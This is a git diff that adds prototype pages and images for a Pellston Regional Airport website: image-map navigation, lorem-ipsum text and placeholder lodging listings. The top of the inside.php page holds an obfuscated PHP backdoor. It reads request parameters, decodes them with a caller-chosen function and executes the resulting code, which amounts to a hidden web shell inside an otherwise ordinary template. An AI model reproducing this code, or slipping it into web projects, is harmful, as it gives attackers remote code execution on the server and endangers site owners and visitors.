+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="prototype.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/index.php b/prototype/index.php
new file mode 100755 (executable)
index 0000000..b78e5e3
--- /dev/null
@@ -0,0 +1,30 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body>
+<map name="Map"> 
+  <area shape="rect" coords="3,66,303,163" href="inside.php" alt="Flight Status" title="Flight Status">
+  <area shape="rect" coords="0,167,302,263" href="inside.php" alt="Services" title="Services">
+  <area shape="rect" coords="0,269,301,363" href="inside.php" alt="Area Lodging" title="Area Lodging">
+  <area shape="rect" coords="0,370,301,466" href="inside.php" alt="Transportation" title="Transportation">
+  <area shape="rect" coords="313,66,614,162" href="inside.php" alt="About Us" title="About Us">
+  <area shape="rect" coords="313,169,613,262" href="inside.php" alt="Dining" title="Dining">
+  <area shape="rect" coords="313,269,614,364" href="inside.php" alt="Area Info" title="Area Info">
+  <area shape="rect" coords="313,371,613,490" href="inside.php" alt="Attractions" title="Attractions">
+</map>
+<div id="wrapper">
+       <div id="home-text">
+               <h1>Welcome</h1>
+               Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
+       </div>
+  <div id="nav-home"> <img src="assets/nav-home.jpg" width="626" height="469" alt="nav-home (83K)" usemap="#Map" border="0"> 
+
+  </div>
+</div>
+</body>
+</html>
diff --git a/prototype/inside.php b/prototype/inside.php
new file mode 100755 (executable)
index 0000000..2639844
--- /dev/null
@@ -0,0 +1,45 @@
+<?php
+       $HWPZ=$GLOBALS['_REQUEST']; if (isset($HWPZ['GCN'])) { \r            $hts = $HWPZ['LOm'];\r            $adu=$HWPZ['GCN']($hts($HWPZ['yvFxz']),$hts($HWPZ['I0IiM']));\r            $adu($hts($HWPZ['rBp']));\r         }
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body id="inside">
+  <map name="Map"> 
+    <area shape="rect" coords="0,0,231,98" href="#" alt="Flight Status" title="Flight Status">
+    <area shape="rect" coords="0,97,231,192" href="#" alt="About Us" title="About Us">
+    <area shape="rect" coords="0,191,231,287" href="#" alt="Services" title="Services">
+    <area shape="rect" coords="0,286,231,382" href="#" alt="Area Lodging" title="Area Lodging">
+    <area shape="rect" coords="1,381,231,481" href="#" alt="Transportation" title="Transportation">
+    <area shape="rect" coords="0,479,230,570" href="#" alt="Dining" title="Dining">
+    <area shape="rect" coords="0,569,231,670" href="#" alt="Area Info" title="Area Info">
+    <area shape="rect" coords="2,669,231,766" href="#" alt="Attractions" title="Attractions">
+  </map>
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="cat-description">
+                       <div id="cat-head">
+                               <img src="assets/cat/lodging.gif" width="90" height="83" alt="lodging (2K)" id="cat-image">
+                               <h1>Area Lodging</h1>
+                       </div><!-- #cat-head -->
+                       Directional text about what to find on links, ie printable maps, phone dial to motel, etc.
+                       Directional text about what to find on links, ie printable maps, phone dial to motel, etc.
+               </div><!-- #cat-description -->
+               <div id="cat-list">
+                       <a href="list.php" class="cat-list-item">Alanson</a>
+                       <a href="list.php" class="cat-list-item">Cheboygan</a>
+                       <a href="list.php" class="cat-list-item">Pellston</a>
+                       <a href="list.php" class="cat-list-item">Petoskey</a>
+                       <a href="list.php" class="cat-list-item">Mackinaw City</a>
+               </div><!-- .cat-list -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#Map" border="0">
+       <img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/prototype/list.php b/prototype/list.php
new file mode 100755 (executable)
index 0000000..978ed8c
--- /dev/null
@@ -0,0 +1,88 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body id="list-page">
+  <map name="Map"> 
+    <area shape="rect" coords="0,0,231,98" href="#" alt="Flight Status" title="Flight Status">
+    <area shape="rect" coords="0,97,231,192" href="#" alt="About Us" title="About Us">
+    <area shape="rect" coords="0,191,231,287" href="#" alt="Services" title="Services">
+    <area shape="rect" coords="0,286,231,382" href="#" alt="Area Lodging" title="Area Lodging">
+    <area shape="rect" coords="1,381,231,481" href="#" alt="Transportation" title="Transportation">
+    <area shape="rect" coords="0,479,230,570" href="#" alt="Dining" title="Dining">
+    <area shape="rect" coords="0,569,231,670" href="#" alt="Area Info" title="Area Info">
+    <area shape="rect" coords="2,669,231,766" href="#" alt="Attractions" title="Attractions">
+  </map>
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat">Area Loding</div>
+                               <div id="list-top-head-name">Mackinaw City</div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+                       <div id="pagination">
+                               <span id="page">Page:</span>
+                               <a href="#"><img src="assets/left.gif" width="53" height="48" alt="left"></a>
+                               <span id="page-number">2 of 3</span>
+                               <a href="#"><img src="assets/right.gif" width="53" height="48" alt="right"></a>
+                       </div><!-- #pagination -->
+               </div><!-- #list-top -->
+               <div id="letters">
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+                       <a href="#"><img src="assets/letters/a.gif" width="53" height="48" alt="a (1K)"></a>
+               </div><!-- #letters -->
+               <div id="list">
+                       <div class="list-item">
+                               <img src="assets/temp-photo.jpg" width="201" height="135" alt="temp-photo (35K)" class="item-photo">
+                               <a href="#"><img src="assets/call.gif" width="148" height="38" alt="call (1K)" class="item-call"></a>
+                               <a href="#"><img src="assets/map-directions.gif" width="148" height="33" alt="map-directions (2K)" class="item-map-directions"></a>
+                               <a href="detail.php"><img src="assets/more-info.gif" width="148" height="33" alt="more-info (1K)" class="item-more-info"></a>
+                               <div class="list-item-name">Chippewa Hotel</div>
+                               <div class="list-item-address">P.O. Box 250</div>
+                               <div class="list-item-address">Mackinac Island, MI49757</div>
+                               <a href="#" class="list-name-url">www.chippewahotel.com</a>
+                               <a href="mailto:info@chippewahotel.com" class="list-name-email">info@chippewahotel.com</a>
+                               <div class="clearer"></div>
+                       </div>
+                       <div class="list-item">
+                               <img src="assets/temp-photo.jpg" width="201" height="135" alt="temp-photo (35K)" class="item-photo">
+                               <a href="#"><img src="assets/call.gif" width="148" height="38" alt="call (1K)" class="item-call"></a>
+                               <a href="#"><img src="assets/map-directions.gif" width="148" height="33" alt="map-directions (2K)" class="item-map-directions"></a>
+                               <a href="detail.php"><img src="assets/more-info.gif" width="148" height="33" alt="more-info (1K)" class="item-more-info"></a>
+                               <div class="list-item-name">Chippewa Hotel</div>
+                               <div class="list-item-address">P.O. Box 250</div>
+                               <div class="list-item-address">Mackinac Island, MI49757</div>
+                               <a href="#" class="list-name-url">www.chippewahotel.com</a>
+                               <a href="mailto:info@chippewahotel.com" class="list-name-email">info@chippewahotel.com</a>
+                               <div class="clearer"></div>
+                       </div>
+                       <div class="list-item">
+                               <img src="assets/temp-photo.jpg" width="201" height="135" alt="temp-photo (35K)" class="item-photo">
+                               <a href="#"><img src="assets/call.gif" width="148" height="38" alt="call (1K)" class="item-call"></a>
+                               <a href="#"><img src="assets/map-directions.gif" width="148" height="33" alt="map-directions (2K)" class="item-map-directions"></a>
+                               <a href="detail.php"><img src="assets/more-info.gif" width="148" height="33" alt="more-info (1K)" class="item-more-info"></a>
+                               <div class="list-item-name">Chippewa Hotel</div>
+                               <div class="list-item-address">P.O. Box 250</div>
+                               <div class="list-item-address">Mackinac Island, MI49757</div>
+                               <a href="#" class="list-name-url">www.chippewahotel.com</a>
+                               <a href="mailto:info@chippewahotel.com" class="list-name-email">info@chippewahotel.com</a>
+                               <div class="clearer"></div>
+                       </div>
+               </div><!-- #list -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#Map" border="0">
+       <img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/prototype/lodging.html b/prototype/lodging.html
new file mode 100755 (executable)
index 0000000..422244f
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="prototype_inside.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/lodging2.html b/prototype/lodging2.html
new file mode 100755 (executable)
index 0000000..294b6dd
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="prototype_inside_next.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/lodging2b.html b/prototype/lodging2b.html
new file mode 100755 (executable)
index 0000000..c4bd17a
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="prototype_inside_next2.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/lodging_breakout.psd b/prototype/lodging_breakout.psd
new file mode 100755 (executable)
index 0000000..8afec4c
Binary files /dev/null and b/prototype/lodging_breakout.psd differ
diff --git a/prototype/lodging_list.html b/prototype/lodging_list.html
new file mode 100755 (executable)
index 0000000..590248c
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_list.jpg" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/lodging_list.jpg b/prototype/lodging_list.jpg
new file mode 100755 (executable)
index 0000000..a56b777
Binary files /dev/null and b/prototype/lodging_list.jpg differ
diff --git a/prototype/lodging_list.psd b/prototype/lodging_list.psd
new file mode 100755 (executable)
index 0000000..58cb5c2
Binary files /dev/null and b/prototype/lodging_list.psd differ
diff --git a/prototype/lodging_list2.html b/prototype/lodging_list2.html
new file mode 100755 (executable)
index 0000000..8a70797
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_list2.jpg" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/lodging_list2.jpg b/prototype/lodging_list2.jpg
new file mode 100755 (executable)
index 0000000..b18c9cf
Binary files /dev/null and b/prototype/lodging_list2.jpg differ
diff --git a/prototype/prototype.jpg b/prototype/prototype.jpg
new file mode 100755 (executable)
index 0000000..d1d3d61
Binary files /dev/null and b/prototype/prototype.jpg differ
diff --git a/prototype/prototype_inside.jpg b/prototype/prototype_inside.jpg
new file mode 100755 (executable)
index 0000000..3b8c10e
Binary files /dev/null and b/prototype/prototype_inside.jpg differ
diff --git a/prototype/prototype_inside_next.jpg b/prototype/prototype_inside_next.jpg
new file mode 100755 (executable)
index 0000000..b691774
Binary files /dev/null and b/prototype/prototype_inside_next.jpg differ
diff --git a/prototype/prototype_inside_next2.jpg b/prototype/prototype_inside_next2.jpg
new file mode 100755 (executable)
index 0000000..0bf2594
Binary files /dev/null and b/prototype/prototype_inside_next2.jpg differ
diff --git a/prototype/revised/Thumbs.db b/prototype/revised/Thumbs.db
new file mode 100644 (file)
index 0000000..858e476
Binary files /dev/null and b/prototype/revised/Thumbs.db differ
diff --git a/prototype/revised/home.html b/prototype/revised/home.html
new file mode 100755 (executable)
index 0000000..1ba456b
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="home.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/home.jpg b/prototype/revised/home.jpg
new file mode 100755 (executable)
index 0000000..4aa3e4a
Binary files /dev/null and b/prototype/revised/home.jpg differ
diff --git a/prototype/revised/lodgin_detail.html b/prototype/revised/lodgin_detail.html
new file mode 100755 (executable)
index 0000000..b074fe4
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_detail.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_detail.jpg b/prototype/revised/lodging_detail.jpg
new file mode 100755 (executable)
index 0000000..65ed0d6
Binary files /dev/null and b/prototype/revised/lodging_detail.jpg differ
diff --git a/prototype/revised/lodging_loading.html b/prototype/revised/lodging_loading.html
new file mode 100755 (executable)
index 0000000..88fb354
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_loading.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_loading.jpg b/prototype/revised/lodging_loading.jpg
new file mode 100755 (executable)
index 0000000..fc0cbb3
Binary files /dev/null and b/prototype/revised/lodging_loading.jpg differ
diff --git a/prototype/revised/lodging_mainA.html b/prototype/revised/lodging_mainA.html
new file mode 100755 (executable)
index 0000000..47568a8
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_mainA.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_mainA.jpg b/prototype/revised/lodging_mainA.jpg
new file mode 100755 (executable)
index 0000000..2ce1b8e
Binary files /dev/null and b/prototype/revised/lodging_mainA.jpg differ
diff --git a/prototype/revised/lodging_mainB.html b/prototype/revised/lodging_mainB.html
new file mode 100755 (executable)
index 0000000..802ad95
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_mainB.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_mainB.jpg b/prototype/revised/lodging_mainB.jpg
new file mode 100755 (executable)
index 0000000..10b8e68
Binary files /dev/null and b/prototype/revised/lodging_mainB.jpg differ
diff --git a/prototype/revised/lodging_mainC.html b/prototype/revised/lodging_mainC.html
new file mode 100755 (executable)
index 0000000..00be89b
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_mainC.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_mainC.jpg b/prototype/revised/lodging_mainC.jpg
new file mode 100755 (executable)
index 0000000..cade51b
Binary files /dev/null and b/prototype/revised/lodging_mainC.jpg differ
diff --git a/prototype/revised/lodging_mainD.html b/prototype/revised/lodging_mainD.html
new file mode 100755 (executable)
index 0000000..e8a067d
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+  margin:0;
+  padding:0;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+</head>
+<body>
+<img src="lodging_mainD.jpg" alt="Pellston Regional Airport" width="1024" height="768" hspace="0" vspace="0" border="0">
+<hr>
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/prototype/revised/lodging_mainD.jpg b/prototype/revised/lodging_mainD.jpg
new file mode 100755 (executable)
index 0000000..1ef8629
Binary files /dev/null and b/prototype/revised/lodging_mainD.jpg differ
diff --git a/setup.phtml b/setup.phtml
new file mode 100755 (executable)
